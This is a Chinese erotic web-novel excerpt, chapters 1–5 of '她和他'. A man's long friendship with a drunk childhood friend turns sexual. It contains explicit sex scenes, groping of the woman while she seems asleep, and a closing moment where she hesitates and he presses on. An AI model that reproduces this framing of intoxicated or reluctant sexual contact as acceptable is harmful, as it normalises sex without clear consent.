图片载入中

她和他 ( 第1一5章 )

特大字】 【大字】 【中字】 【小字

第一章酒后

深夜,钢筋水泥的丛林�四处沈静,但有一个地方,却灯红酒绿,熙熙攘攘,人声鼎沸,特别是在周末的黎明前,更是热闹。

那是一家消费很昂贵的酒吧,是一家从不卖假酒的酒吧,是一家过了十二点便有激情演出的酒吧。所以,太阳一下山,酒吧�的座位就从来不会空置。哪怕这些座位摆放得密密麻麻,一旦坐了人,连过身都很艰难。这就是人气。

在这样一家酒吧,想要订一个包厢,并非单纯有钱就可以做到。不过,她刚刚告诉我的地址,就是这个酒吧的一间包厢。

挤开人群,荡开那些震耳欲聋的音乐,我好容易在酒吧的一个小角落�找到了这间包厢。虽然已经是酒吧最差的位置了,但却不是每个人都能坐进去的。包厢口是一块厚厚的黑布,垂下来足有四米多长,整块黑布的周边是鎏金的金属边,做工精细,摸上去手感很好。这是让客人可以轻松进出设计的,不然在这衹有反射球的大厅�,要打开这块黑布还真要花点时间。

黑布很重,我斜着掀开一角便熘了进去。房间不是很大,圆环形的沙发绕着一张不大的圆桌,圆桌上摆满了酒瓶,有空的也有半空的,还有风卷残云后剩下的熟食和小罐饮料。尽管圆桌不大,但是这些东西已经堆着叠了起来,看来刚刚这�招待了不少人。

而此时,这�衹剩下四个人。两个正在左侧的黑布后纠缠在一起,那一侧固定的一端,却可以从缝隙间看到外面的舞池。他们做的很认真,很投入,旁若无人。昏暗的灯光下,女人的肌肤特别显眼,那一条大白腿被圆桌挡住了下面,露出绝对领域,裙子夹在腰间,随着身后男人的碰撞而抖动。女人领口处多余的服饰不是领结,而是从领口被推出的胸衣。看来他们已经开始很久了,男人一手伸进衣服�,抓住那晃动的欲望,稳住自己的身子,女人匍匐在沙发上,身子被沙发扶手托着,用力的将圆臀顶向男人的腰际,这个情景看上去已经是强弩之末了。 还有一个便是我。最后一个,趴在我身前的沙发上,粉色的雪纺裙,一根双绞的绯色腰带,秀发胡乱的挂在脸颊上,若非十分熟悉,相信没有人能认出她是谁。怎么每次来接你,都喝成这副样子!我心�不满,但还是将她从沙发上抱了起来。妈的,真重,路小希,3个月不见,你怎么又长胖了!

音乐稍停。

“怎么,都3个月不见了,熟人见面也不打个招唿?”那两人终于完事了,但音乐太吵,我没有听到他们的高潮。或者,他有,她没有。

“完事了?”我衹好吭声。

“嗯。”她收起一头黑发,露出侧脸上眼角边的一粒美人痣,慵懒而有些责备的看着我。

“我带路小希走了先。”我俯身揽住路小希的腰,把这坨沈甸甸的肉丢到沙发上,摔成一个八爪鱼,然后托住她的身子,想要把她背起来。

“好熟练啊!小希有你真好,你可要一直陪在她身边哦。”那美人痣温柔的说道,话语中透露无限柔情,但我并不想理会她。

“雷扬,小希的裙子。”她又喊道。

我怎么会不知道她在提醒我什么?路小希,你自己愿意穿这么短的裙子,就不要怪我不顾及你的大屁股了。我背着小希,手挽住她的双腿,但是她实在不轻,我的身子被压得很低,所以她的裙边自然遮不住。我很清楚,她天蓝色的内裤特别显眼,而灰色的裤袜也衹是象征性的遮住肌肤,但那圆鼓鼓的臀型是被周边的人看了一个精光。时不时,我耳边会传来口哨声,还有一声声叹息,感叹为什么他们捡尸没有碰到这样的货色,直到我打到车为止。

“啊!”这腰酸背痛的差事,好容易背到家�,我把路小希卸货一样丢到床上。

“嗯。”多余的震动让路小希发了一声。

“唿唿,路小希,你给我听好了,如果你敢像上次一样吐到我床上,那我就杀了你,明白了吗?”我以为她醒了。

“嗯。”她又发了一声。

我见她没有回应,便转身,忽然之间,那条天蓝色的内裤映入眼帘,还有笔直的两条长腿,圆润而充满诱惑,我不禁感觉双颊发热,血气在胸前涌动。我伸出手掌,隔空抚摸着那腻滑的圆臀,眼睛顺着手势落在路小希的股间。反正也没有摸到,这应该不算对你不尊重吧。妈的,我又这样了,真看不起自己。

“好了,我知道你听到了,衹是回答不了。算了,你好好睡吧。”我起身准备离开。

“嗯。”她又应了一声,随着翻了一下身子,两条诱人的火腿交织在了一起。陡峭的臀部带着s型的腰线又露了出来,这算是轮着诱惑我吗?我用虎口对着路小希的臀部,隔空捏了捏,似乎感觉到了她那充满弹性的臀肉,真是的……我的内心不断冲击,心跳骤然加快,我都能听到,那是欲望在呐喊。

可是,可是,我不能跨过这条异性的界限。路小希和我不衹是女生和男生的关系,我们之间近二十年的友谊,会让我们走得更久,一直走下去……所以,我绝对要忍耐,为了不让自己越过友谊这条线……这句话我已经劝过自己千万遍了。 但是,但是,在我的脑海�,我已经越过这条线千万次了,小希,她的心�是不是也明白呢?或许,她也知道……我还是不能……这样不尊重她。

我回到客厅,�上的挂钟在哒哒哒的响,像千百衹鸭子在聒噪一般,吵得我的内心无法宁静。薄薄的毯子好像重十斤的大棉被,闷着我炙热的身子,火烤一般痛苦。又是这样,我又失眠了!路小希,都是你害的。

噗嗤,噗嗤,噗嗤,这下,整个世界都轻松了!

周末,我可以睡到自然醒,真是一件幸福的事情。但是,一双没有穿拖鞋的小脚似乎一大早就在我身边熘过来熘过去了。天啊,你昨晚不是喝醉了吗?怎么这么快就酒醒了?停了,这个脚步声停在了我蜷缩着的沙发旁边。她,路小希被地上两个纸团吸引了,好奇心促使她捡起了两个纸团,又放到鼻子下闻了闻……青黛微微紧蹙,所有声音都没有了,路小希肯定很鄙视的在看着我。稍等片刻,那小脚步又移动到了另一边,是纸团丢进垃圾桶的声音。我确信,路小希肯定一脸坏笑的望着我。

“昨晚睡前自己撸了一发?”路小希开口了,声音很好听,是少有的那种令人陶醉的声音。但是这个问题便让人很难堪了,虽然她衹是在自言自语。

“你不可以装作不知道吗?”我心�不顺坦,不能再装睡下去了。

“哈,这么早就醒了。对了,前不久,你不是告诉我,你在禁欲中吗?难道是可以骗我的?”她,路小希依然站在垃圾桶旁,她穿着我的一件运动衫,很显然是从我柜子�翻出来的,正望着那桶�的两个纸团问道。

“啊啊啊啊!你不要老是抓住我的小辫子不放,好不好!”我抓着毯子在沙发上乱滚,无地自容啊!

“呵呵呵呵,反正起来了,你去洗漱吧,我帮你准备早餐!”路小希一蹦一跳的熘进了厨房。

昨晚真是太大意了!咦,床铺收拾得挺整齐的嘛,终于没有吐在我床上了。 “哇,不可能吧!你居然禁欲3个月了,这么厉害,你是怎么做到的?肯定是骗人的。”吃早餐的时候,她故意和我聊起了刚刚的话题。

“信不信随你!”我不想提及这个话题。

“可是,为什么不继续禁欲下去了,偏偏在昨天晚上失败了?”路小希嘴� “关你屁事。”我的脸,妈的,又红了。

“我衹是想知道,为什么你没有忍住?”路小希的眼神充满疑问,又让我无法拒绝。

“好吧,你知不知道,那个,忍了很久,比如,3个月,就会有一种特殊的感觉,哪怕就是轻轻地一触摸,他就会出来。”我费了好大力气,用了许多手势,才形象又不下流的把这个问题解释出来。

“好啦好啦,呵呵呵呵,我相信你了。不过,以后不要做禁欲这样的傻事了,你要自己经常打出来,不然,你的子孙会在�面发霉的,呵呵呵呵……”没想到,我尴尬的回答却换来小希一阵爽朗的笑声。

她已经吃完,放下碗,朝卧室走去。我的房子是那种不大的小户型,没有实体�,都是人为隔开的,所以,我衹想说,我可以从我吃早餐的地方看到小希在房间�换衣服。

当我擡头装作不经意用眼睛去偷瞄的时候,小希已经在穿裤袜了。妈的,我底下又来了,卧槽,不要再看了,不然过会又来鼻血了。天蓝色的内裤,还是蕾丝边,好可爱,不过我觉得小希这么白嫩的肌肤,应该穿深色的更加迷人…… “你呀,还是赶快去找个女友吧,不然老是让我们担心!”小希的话语打断了我天马行空的欲望。

“不要!”我冷然道。

“要不,相亲也可以啊!”路小希在房间�望向我,我看到她的眼神那一瞬,赶紧低头。但是那眼神�的关心和鄙视我是看得一清二楚。

“不要!”我继续冷然道。

“唉,和小惠分手又不是你的错,妍也说了,你才是真正的受害者!我那个朋友也是……”路小希又为我的上一段感情而感叹了。而我,根本没有听她的劝解,真全力以赴的偷看她套上裙子,系上腰带。

“好吧,那,我出门了。”小希动作很快,已经走到了门口,我的幸运时刻就要结束了。

“等等吧,今天礼拜天,我休息耶。”我习惯性的挽留她。

“不了,既然已经和小硕住在一起了,至少也要遵守一点礼节吧。再怎么说,昨天晚上一晚没有回去,手机又没电了,估计他应该已经在发火了。”路小希的话让我内心冷了一截。

“唔,不要紧,有误会要好好讲开,不要使小性子。”我见小希弯腰将白色凉高跟鞋的绑带系上,那诱人的臀部又从短裙的裙摆下露了出来,还有一点点天蓝色,我便走了过去,替她拿包,关心的望着她。

“又不是一两天了,这次真是谢谢你的面条了,下次我请客。”路小希接过挎包,双手放在身前,朝我温柔的笑了笑。

“一身坏毛病。”我用手拍了拍她的挎包,却不料路小希闪过半个身位,用手臂夹住了我的手腕,然后双手抓住我的手腕,一扭身……

“啊!!”真不知道她穿着高跟鞋,这手小功夫依然还能收放自如。

“哼,我们工作的时候谁还给你腾地方换衣服,还不是男男女女都挤在化妆间换衣服,万一要换内衣裤,最多就是拉条帘子,你不要想多了。”路小希还挺聪明的,感谢她说话间放开了我的手腕。

“你们的工作我是知道,不过平时还是乖一点安全一点。”我抚摸着自己略痛的手腕说道。

“我又不是没有穿衣服的。其实你们的眼光很挑剔的,有时候,多一层布料,你们就会觉得保守,少一层布料,你们眼�看到的就不是美,而衹是一种欲望。所以,穿衣服最重要了。如果自己的双腿好看,那就要悄悄的露一点,模煳一点,让你们想看却看不到,看不到吧,又好像可以看到。你们男人不都是这样的吗?”路小希摆了一个pose,轻佻短裙,转动髋部,臀部轻轻从裙摆下露出,线条分明柔顺,没有一丝多余的感觉。可就在裙摆停顿的瞬间,裙子飞扬起来,天蓝色如同眼花的幻觉闪动一样,没有看清楚便又被落下的裙摆遮住。

“你真是会抓重点,不愧是骨干,精英,要好好待自己哦。”我笑着和路小希招手,她笑着转身离开。

路小希,从我记事开始就一直出现在我的意识中,如同伴随我的思想来到世界上一般。我们住在一栋楼�,一起读完了小学、中学,然后,在不同的地方读大学,直到回来工作。小希学习能力不强,但很了解自己,能够扬长避短,大学毕业后就开始做平面模特,很正式的那种。她确实很有这方面的才华,每一个动作,需要一点弧线的,她紧绷的皮肤和紧致的肌肉总是可以完美呈现;不需要那点弧线的,透过动作的拉扯和角度的把握,她总能让摄影师很快找到最美的瞬间;每个摄影师都会称赞她,是最了解自己身体的模特,现在在圈�已经小有名气。 至于那个大胆开放的女孩叫妍,是路小希一起长大的朋友,不过,我不喜欢她。这是有原因的。

而我,雷扬,在一家事务所工作3年了。所以,在这�贷款买了一个小户型,过着独立自主的生活。路小希和我同年,却比我小一点,是我最铁的好友,她现在有一个叫小硕的男友,正在发展过程中,不过因为hold不住小希,经常闹矛盾。

这次聚会喝醉,估计小硕又是要感情受挫吧。

唉,大周末,没有女友,睡觉吧,昨晚够累的。

第二章 友谊

“雷扬,帮我约小希出来玩吧。”

“为什么要我帮你约?”

“这,你不是她最铁的朋友吗?”

“真不知道,你们一个个都来求我约小希,为什么?难道她路小希真的这么招人喜欢吗?我为什么没有发现啊!”

“雷扬,你是隔得太近……雷扬,你审美有问题……雷扬,你视觉疲劳了……”

不管我是审美有问题,还是距离有问题,我从来没有觉得路小希是一个可以让全班大部分男生疯狂追求的女孩。可能是我对她太过于熟悉,或者是我一直一直都帮她当成从小到大的玩伴,无法让我正视她女孩的一面。

可是……

那天,我见识到了她的美,我似乎觉得她在改变,她变得不是那个她了,她开始触动我的内心。我儿时在草地上奔跑嬉戏的路小希啊,你离我越来越远。 从那天起,我忽然发现,我人生�是应该有一个人了,这时,小惠进入了我眼中。而你,路小希,却从未真正的远离。

3年前,你又一次失恋。

我带着啤酒和你,去到那个十几年前玩耍的公园,坐在那有些�迹的秋千上。你低着头看着地面,穿着绿色的短裙、嫩绿色的无袖衫,粉色的平底公主鞋,那夜的你是多么的美丽。

“果然,真的不存在啊。”你悲伤着说道。

“什么?”我略有一丝不耐烦。

“真正永�的爱情!”你的泪水全在眼眶�。

“啊啊啊,你又开始了!”我烦躁得又打开一听啤酒,递给路小希。

“你们都一样,你们这些坏蛋,全部……你们全部,到最后统统都会离开的。”路小希没有接过我的啤酒。

“也会有好人的,不过你没有遇到罢了。”我已经不耐烦小希的失恋了,所以准备起身离开。

“你去哪�?”小希见我离开,音调忽而变化了。

“小惠,她,她还在等我呢。”我回答道。

“对啊,女朋友比较重要!滚吧!混蛋!滚吧,就这样把失恋的朋友放这,自己去快活吧。”小希愤怒道。

“嗯。”这十多年,每次你都这样,我已经习惯了。

“哼,没义气的家伙。”小希一脚踢开摆在她脚下的啤酒,朝公园另一侧走去。

公园年久失修,灯光也是时而昏暗,时而明亮,除了时不时有几衹沙哑的鸟儿,再没有其他的声音。

“你干嘛?还不快滚!”小希感觉到了有人揽住她的肩膀,而这感觉十分熟悉。

“我会帮你找到的……”我小声在她耳边说道。

“你说什么?”小希扭头瞪大眼睛望着我。

“我说,我会帮你找到所谓的永远的爱情!”我温柔道。

“雷扬!”她面对着我,眼睛紧紧盯着我,很庄重。

“嗯。”我答道。

“你,你能答应我,一直在我身边,做我永远的朋友吗?”小希一副期待的眼神。

“Ipromise”我很庄重的起誓道。

“嗯,你先去找小惠吧,不然她该怪我了。”小希又恢复了往日的笑容。 小惠,小惠……

那是一间房间,�壁什么都是黑色的,就衹有床是白色的,雪白雪白。

一个苗条的女人躺在那床上,正吃力的解开自己的衣服,露出黑色的内衣。 “妍,你……等等,你喝醉了。”我也躺在床上,一股酒气到处弥漫。

“这�不是小惠的房间吗?”我不知道如何得知,一股恐惧涌上心头。

“我知道啊!”妍已经脱去了内裤,两瓣臀肉赤裸裸的落在我眼�。

此时,我已经呆了,到底是我喝醉了,还是妍她喝醉了?

“每次都是和小惠做,你应该已经腻了吧。”妍压在了我身上,伸手将我握住。

“你把我当做性幻想对象打手枪的事情我已经知道了,嘻嘻。”妍继续她勾魂的动作。

“才不是你啊!”我用手去推,却退了空。

“啊啊啊……好羡慕小惠啊,你的弟弟每次都是这么硬吗?”妍自己开始扭动腰肢。

“等等等等,好像,好像要射了,快点停下来!!!”我发疯般翻动身体,想要摆脱妍,却被她越缠越紧。

“没关系,给我吧,我要,全在�面……”妍的呻吟更大了,而我的双手往空气�乱抓,却衹是徒劳。

“啪!”门开的声音,一个模煳的身影出现在门口。

“小惠!”我和妍都惊呆了。

“你们两个,混蛋,混蛋……”小惠捂着脸跑了出去。

“小惠,小惠……”我疯狂的追了出去。

哎呀……好痛啊……从沙发上摔下来了!白天睡觉真是很不好受,一连做了3个梦,还一个比一个清楚,像播放连续剧一样。

唔,我从地上爬起来,沮丧的坐在沙发上。他妈的,没想到,都已经这么久了,我还是不能原谅自己啊!"你和小惠分手又不是你的错,妍说了,你是受害者啊!"路小希那咄咄逼人的神色又出现在了我脑海�。这个傻瓜,大概真的衹有她这么认为吧。可是,我是真的希望事情就和路小希说得一样!

“嗯,禁欲,继续吧,这次我重头开始!”我握紧拳头站了起来。

“咚咚咚、咚咚咚……”这时,门外传来杂乱的敲门声。

“妈的,哪个混蛋不知道按铃,手痒是不是?”我不满的跑去门口。

“路小希!”我正准备好好招唿这个半夜来的不速之客,却看到小希托着箱子站在我面前,神情有些沮丧。

“雷扬,我,今晚,我能不能再在你这�住一晚?”小希说话的时候并没有擡头,而是将表情埋得很深,她不想让我看到。

哒哒哒哒哒哒,客厅的时钟似乎走的特别慢,时钟前的茶几上已经摆了几个空酒瓶,路小希已经傻乎乎对着电视快一个小时了,她好像连眼睛都没有眨呀。这次看来是要闹分手了,行李都被勒令搬出来了,不过上次路小希从我这�搬走的东西好像不止这些啊!我心�寻思着。

“其他东西,过几天小硕会寄到这�来,你要帮我收一下哦!”她终于开口了。天啊,路小希,你是我肚子�的蛔虫吗?

“都已经过了一个小时了,现在也该和我说说发生了什么事情吧!”我赶紧接着这个难得的话题,可是,她还是没有搭理我。

路小希,肯定是因为昨晚你喝醉了,结果妍打电话给我,让你男朋友感觉不爽了吧。也难怪,我家小希这么漂亮,一天没回来过夜,换做是我也受不了。虽然路小希和小硕在一起这么久了,但每次吵架都是因为小硕接受不了路小希的工作,让他无时无刻不在忙着打探小希的动态,怎么能长久呢?小硕啊小硕,她可是路小希,你的女朋友,你应该要相信她才是!不过,现在估计是没有机会了。 “喂,我明天可是要上班的,没工夫和你耗哦。”我心�基本上猜到了,不过还是要摆的酷酷的才行。

“嗯。”路小希双唇间酒水荡漾,完全无视我。

“哼,算了,我要去睡觉了,你今天晚上睡沙发吧,没喝醉的路小希是没权利睡床上的。”我很讨厌路小希无视我。

“哐当。”我关上了房门,而路小希终于将脸移开了位置,衹是我看不到,那神情有多沮丧。

路小希,你心中那永�的爱情,真不是那么容易出现的,何况,你还是一位令人心动的美人。

“吱……”有人把门打开了。

她悄悄的走到了床边,唰一声掀开被子就准备往�面钻。

“路小希,你现在在干嘛?”我忽然感觉到一股温温的暖意接近自己,然后软软的触感落在了自己的肱3头肌上,那么柔软,那么温润,那么让人不舍。但是我还是蹦一下从床上跳了起来,大声问道。

“好温暖哦,你不是说喝醉了的路小希可以睡床上吗?”她一脸可怜的样子让人不忍拒绝。

“你都换了衣服走进来了,怎么是喝醉了呢?”路小希,你这招对谁都是一万点伤害,但是我偏偏对此免疫,这招对我完全无效。

不过,这件深蓝色的睡裙倒是很好看,肩上的吊带轻轻拉扯住胸前的衣领,不让那两团嫩肉轻易露出本来面目,但小希侧躺着,门外透进的光线正好照射在那深邃的峡谷中,让人充满了无限遐想。还有那锁骨,那柔弱的香肩,长长的勾魂睫毛……雷扬,你不要迷失啊!

“路小希,路小希!!”我又喊了两声。

“你见过谁喝醉了还答话的吗?”路小希伸出香藕柔荑搂住枕头,胸前更是一时激起千层浪,床垫都发生了共振,她真是一个活脱脱的无赖!

“唉,算了!”我一时辩不过,有些生气,大不了就是去睡客厅吧。

“等等。”就在我支起身子去穿拖鞋的时候,路小希的手有一次抓住了我的手腕。

“干什么?”我不知道她又要闹哪出。

“我们,一起睡吧!”路小希睁开了眼睛,直勾勾的望着我。

“啊?”我一脸惊讶。

“我们以前不是也经常一起睡吗?”小希一脸无害的表情,嘴角微微上翘,这是在耍嗲呀!

“不能,那时候我们还在读小学,能一样吗?”我转头,不看她的眼睛,我知道她这一招很毒辣的。

“不能……不能就这么躺在我的身边吗?”路小希的语气有些抽搐,让我心头一紧。

我这一回头,碰到她柔软的眼神,刹那间就沦陷了。我呆滞的看着她,不管多少次,衹要碰到这样的眼神,我都会跪啊!一狠心,掀开被子又钻了进去。 “嘻嘻,知道你最好了……”路小希立马嬉皮笑脸起来,我知道自己又中了这小妖精的诡计,但此时也无可奈何了。

我就那么直直的躺在床上,好像刚死的还没变僵一样。心�却一直在寻思,这次看来小希真的是受伤了,上次我记得小希说过,这段感情是要长久的。我不能光看着我家小希一个人痛苦啊!得想办法帮她过了这一关才可以,但是我要怎么做呢?真是头痛!咦,这感觉!

路小希似乎已经睡熟了,但是她双手紧紧搂住我得手臂,又好像越来越靠近我了。那柔软的胸部,在一点点靠过来,几乎要把我的手臂都吞进去了。那阵阵迷叠香,如同妖娆的夜魔,慢慢透过热量往我的周身缠绕,好像生怕我再跑掉一样。我紧张到脖颈僵硬,即使细小的移动也不敢,衹能用眼角去瞟,想要看看路小希是不是真的睡着了。

可是不等我收到信息,我感觉侧身的路小希不衹是胸部吞噬了我的手臂,她的膝盖似乎已经快要顶着我的阳具了。啊啊啊!!我真恨自己那不争气的大棒棒,你怎么可以这个时候出现呢!

小希的膝盖没有重量,但是那笔直的腿的重量我还是可以感觉出来得,它真正移动,朝我身体的另一侧移动。那光熘熘的膝盖就像一艘洁白的帆船,在随着小希波浪般的唿吸前进。一不小心撞到硬邦邦的灯塔,衹好稍稍后退,过一会,又轻轻地撞了上去,感觉不到差别,却让我一次比一次兴奋。

真是的,路小希,你的腿还不赶快放下来……你到底是真睡着了还是装睡啊……如果起身的话,应该会吵醒她吧……哎呀,不管了,快睡吧……我操,这个时候谁能睡着啊?

第三、四、五章

肉戏实在不好写,对方的章节可以写的内容真不多,所以不特意分章了,大家按我的写法来看吧。

这半个小时真是折磨人,我都要疯了,路小希的膝盖不停顶过来,身子不断倾倒过来,我感觉整个人都窒息了。那膝盖,现在已经顶着我的蛋蛋了。而硬邦邦的火箭基底不稳,开始连自己的位置都不保了。路小希,你到底睡着了吗?你是不是在挑逗我啊?我心�不停问自己。

好不容易,我扭动了脖颈。慢慢映入眼帘的是路小希美丽的脸庞,醉酒微醺,两点红晕;螓首蛾眉,无限青丝;朱唇皓齿,挺鼻如峰。那豪乳一起一伏,深色的乳沟一张一合,我简直看呆了。雷扬,你干什么,你的手怎么……那可是你近二十年的朋友,你不能这样?可是,她确实难得一见的尤物,现在躺在床上搂住我,难道我连触碰都是禁忌吗?不,我或许可以去抚摸一下她的俏脸,但我的手为什么像失去了方向一般奔向路小希的酥胸上去了。回来,我要控制自己! 滑动,对,我没有触碰到她的身子,衹是隔着那不到一厘米的距离划过她的胸前,乳沟,锁骨……这样就不算侵犯她了。唔,这温度,我好想直接触碰到了柔软的皮肤上了一般。路小希,你身上什么时候变得这么香,是否我平时都不会如此聚精会神的去品尝你的美呢?

“嗯啊!”衹听路小希一声呻吟,让人骨头都酥了。

一瞬间,我全身的肌肉都松弛了,神经却比刚刚还兴奋一百倍,这松紧之间,我整个人好像灵魂出窍了一般。刚刚,刚刚,我居然碰到了路小希的乳头,天啊,不可思议,我居然碰到了二十年好友的乳头,而且,还让她发出了那样的声音。我简直不敢相信自己刚刚做了什么,太违心了,我怎么可以这样,太不正常了,太让人难以接受了。路小希,居然没有穿内衣,而且,她的乳头为什么这样硬,她?没有睡着吗?

雷扬,怎么会有你这样的人活在这个世界上呢?该死该死,我立即转身,不敢再看路小希一眼,更不敢确定她是否醒了。

好奇心,我不敢转身,头颈却又不由自主的扭了过去。路小希那混蛋的眼睛居然睁开了,正无神的看着天花板。

“那个女人……十足的荡妇……”路小希口中咿呀。

“那肉棒……以前也是那样插进我的身子�的……唔……”路小希在和我说话吗?

“像个野兽……十足的野兽……唔……”路小希,你干嘛挺直身子?

“怎么,怎么是这样……我,我竟然是一个比他们更淫荡的女人吗?”路小希,你的手在……

天啊!路小希显然在春梦中无法自制了,她居然在现实生活中,唿唿,我必须好好平静一下心情,不能再犯错误了。

尼玛,快点出来,快点出来,我要早早把欲望卸掉,不然过会肯定会被路小希引诱的。我不能那样做,趁人之危,而且还是对待自己最亲密的伙伴,我不能承认我卑劣的人品。

“嘿!雷扬!”不知什么时候,我身后传来一声好听的唿唤。

啊!是不是我动静太大了,把她吵醒了?我不敢转身,观望,希望那是路小希在梦呓。

“雷扬,你是不是一直在打手枪?”又是一声询问。

哇,我简直想死的心都有了。

“其实没关系的。”来不及让我做出任何反应,路小希的声音又传来了。 “You,putitinsideme”不是我熟悉的语言,不过,我还没有体会到

意思,我就感觉整个世界都停止了。

快二十年了,友谊的小船怎么说翻就翻啊?我保守了这么多年的秘密和坚持,难道要在今天付之东流吗?那些瞒住路小希的欲望,难道今晚就要让我实现吗?不行,如果真的做了,路小希,你让我明天用什么去面对你。

“啪!”一条内裤被丢下了床,落在我眼前的床下。

我惊呆了,我的手还一直握着我的肉棒,它可是一直硬邦邦的在那�。整个房间,此时就它最兴奋!

“来吧,我就这么趴着等你,你不会看到我的脸,自然也不会尴尬了。”路小希的声音不平静,但充满了诱人的魅力。

我转过身子,她正弓着腰趴在我身前,那昏暗的双臀间,黑漆漆的神秘场所现在就在我的眼前,我却不敢凑上去看个清楚。不要说触碰了,我现在脑海一片空白,连想的勇气都没有。一个二十年的朋友,忽然脱去内裤,裸露着下体对着你,感觉就是那么别扭。我居然一下子失去了兴趣一般,因为在这一刻,不衹是友谊,我感觉我所有的情感和欲望一下子都摔碎了。

我用手支撑着身子,无力的问自己,你如果不赶快出去,你明天将会一片黑暗。可是,现在正是最好的机会,虽然我不知道是达成什么目的的机会,但我知道这会让我兴奋很久很久。

不是我的错,一切都是路小希起得头,有错先要责备她,我为什么要纠结,上吧,宁做错,莫错过。嗯,一切都想好了,现在,我好想没有任何阻止自己的理由了,不是吗?路小希,我,来了!

闭上眼睛,我不敢看,手掌已经牢牢握住了那浑圆的臀部。四散开的力量,超级棒的手感,我浑身都激动着颤抖。不要管她的臀部,赶快进入主题,我怎么感觉这是一件自己特别想要却又感觉难受的事情。不过,很快,那淫靡的气息就让我迷醉了,我虽然闭上了眼,但舌头还是很快触碰到了那湿润的皮肤。

腻滑,清香,异味,说不出的感觉。四周都很安静,让我能静下来细细感触那些细嫩的肉芽和液体回旋涌出的爽滑。没错,四周安静,衹有我身前颤动的身子,但她没有发出任何异响。

路小希,你也觉得这个感觉很奇怪了吗?被一个二十年的老哥们舔弄自己的私密处,光是想想就觉得每一处是畅快的。我似乎听到路小希压着呻吟,咬住嘴唇的样子,她的眼睛一定和我一样,紧紧的闭紧,生怕被摄去了魂。

无声的动作,让我对自己的表现不满意,我怎么可以在路小希面前表现出男人的无能,居然这样都无法让你有一丝表示,路小希,你是在和我置气吗?这本不可能,但这是二十年的固定思维,我的人格分裂了,啊啊啊啊!!

“路……小希,你不舒服,我可以停止的。”我的眼睛还是不敢睁开。

“继续!”她的声音在颤抖,比我难受得多。

我的手划过她的腰际,沿着裙子一直往前,忽然,碰到了软软的东西,这是……这是路小希的胸部啊!好大,我的手掌完全无法掌控,怎么会这样,我是不是出错了。我心�一紧张,睁开了眼。眼前的路小希正低着头,秀发垂直在雪白颈部的两侧,唿吸带动身子浮动,起伏很大的摆动让她泌出丝丝香汗。我的手指轻抚路小希的乳头,真的硬了,她有感觉的,而且比我投入多了。这,是否代表我应该要更大胆一点?

我将舌头从那幽深的曲径中撤出,带着舌尖往上一挑,莫名的褶皱如同漩涡一般让我的舌尖失去目标往中心熘去。好稚嫩啊,而且我的舌尖能够明显感觉到四周的褶皱,这表示这朵菊花的花蕊是多么秀气幼小,恐怕还从未被别人摘采过吧。

“嗯啊!!!”一道长长的呻吟划破沈寂,她,路小希,终于无法压抑自己的情欲了。这声音带着颤抖,震碎了所有的禁忌,我的内心好像一下放开了什么。 这就是路小希的呻吟啊!我一直都在期待的就是这个。是我让她发出了如此妩媚的声音,我的梦和欲望、灵魂和肉都在飞翔。正在这个时候,一个远去的记忆好像被什么东西唤醒了一般……

那是大学时候的我,穿着青涩的牛仔裤和黄色T恤,来到路小希的城市。我带着费心选好的手信,坐在车上一遍一遍拨打她的手机。本来衹是害怕麻烦她,所以到了她们学校才联系她。没想到这个时候却无法打通她的电话。那样的话,衹能去她的住处等她了,幸好前几次已经记下了地址,现在就直接过去吧。 爬上那有些破旧的两层出租房,我走到门口,提手正要敲门,却依稀听到门后传来一阵一阵的呻吟,那是……路小希的呻吟!

我有些懵懂,不知道发生了什么,却不敢开门。而这傍晚的时候,漏光的地方却并不多,房间的一个侧面貌似有一束黄色灯光露在外面,我应该能在那�一探究竟。我从来都没有任何心理准备,更没有想过我看到某些情景该要怎么办,我衹是想要知道�面发生了什么。

然而,那是一次洗礼,清洗了我幻想中的全部。窗棂的缝隙中能看到路小希貌似痛苦的表情,她的长衫是粉色的,手指甲上也涂着粉色的指甲油,手指却按在双腿间的一束黄毛上,不,那应该是抚摸。而她的下身却是赤裸的,那赤裸就是一丝不挂,没有袜子,和鞋子,更不要说一丝遮挡身体的丝线了。那赤裸的双腿之间正有一个人蹲着,一个肥硕的意大利胖子,一个白人,却比不上小希的大腿嫩白。他,在贪婪的吸吮着,因为双腿打开的幅度,看上去他吸吮的很过瘾,手指还不停划过路小希的大腿,显然是对眼前路小希的表现十分赞许。

那是小希学校的一名外教老师,我居然还和他在一个桌子上吃过饭,而现在,他居然关上房门在和我最好的朋友……我不能接受,我不能接受。我把手中的手信从二楼丢了下去,然后捂住胸口逃离了那�,直到很晚很晚,我才接到路小希的电话,她有些疲倦。我说,你睡吧,我明天去看你。其实,那晚,我第一次喝醉了!

我还记得,那时我一直在猜测,难道那就是路小希发出来的呻吟吗?怎么和她的声音根本不一样?原本以为她的声音已经很好听了,没想到那呻吟居然如此令人疯魔,我一直牢牢记住直到今天。那声音是那么的不同凡响,那么的不稳定,那么轻浮却又充满磁性,我不知道是什么在左右它的高亢和低吟,那时我还是一个未经人事的少年。

从那一天开始,每当我想要安慰自己的身体的时候,我就会回想那晚的路小希,那充满情欲和诱惑的表情,那引人堕落的姿态,还有那让我记忆犹新的呻吟。 但是,路小希,现在,那个声音却是属于我的。终于,我在现实中得到了它,不再需要幻想和撸管,现在,过会,以后,它都是属于我的。我继续卖弄着自己的舌头技巧,想要得到对方更多的回应。

然而,路小希却回过了头,一脸惊恐的望着我。傻瓜!你为什么要回头?路小希的心思雷扬最懂了,我从她惊恐的眼神中读到了过去的那些时光……我抢走她的铅笔,她哭着追我;我带她去捅马蜂窝,回家被揍,她肿着脚在旁边哭得比我还伤心;中学会考,她考试时丢过纸条,却衹是问我中午想吃什么;还有好多好多,如同枷锁一般死死铐住我的手脚,让我一动不动。

一个男人和一个女人的游戏,我不知道是不是应该为二十年的友谊说声对不起。同样,今天,现在,这�,这个友谊的游戏应该要结束了,取而代之的是,我将成为她的男人。路小希,你不用这样看着我,这3个月来我一直都是这样催眠自己的。所以,你现在是否想要睁眼看着我是如何和你合二为一的?

“等……等等,雷扬……我……”路小希平复了弓起的身子,闭上了双腿,又往前挪了挪,欲言又止。

“事实上,我也不知道,我也不了解我为什么要这样做,可能是事情发生得太突然了,你不觉得这件事情很荒唐吗?我们是最好的朋友,是不是?可能一开始我稍微喝多了一点点,不过,过了今晚,我们要怎么面对我们的友谊呢?”路小希低下了头,我看不到她的眼睛,也读不出她的心,衹是,刚刚那些纠结并非衹是我的思维,她也一样在纠结啊!

“路小希,我们是最好的朋友,现在,你应该知道你的好朋友要什么?”我忽然变得很冷漠,我感觉内心的野性已经不受控制了,可能是同样的问题被对方说出来便是一种自我的解脱吧。

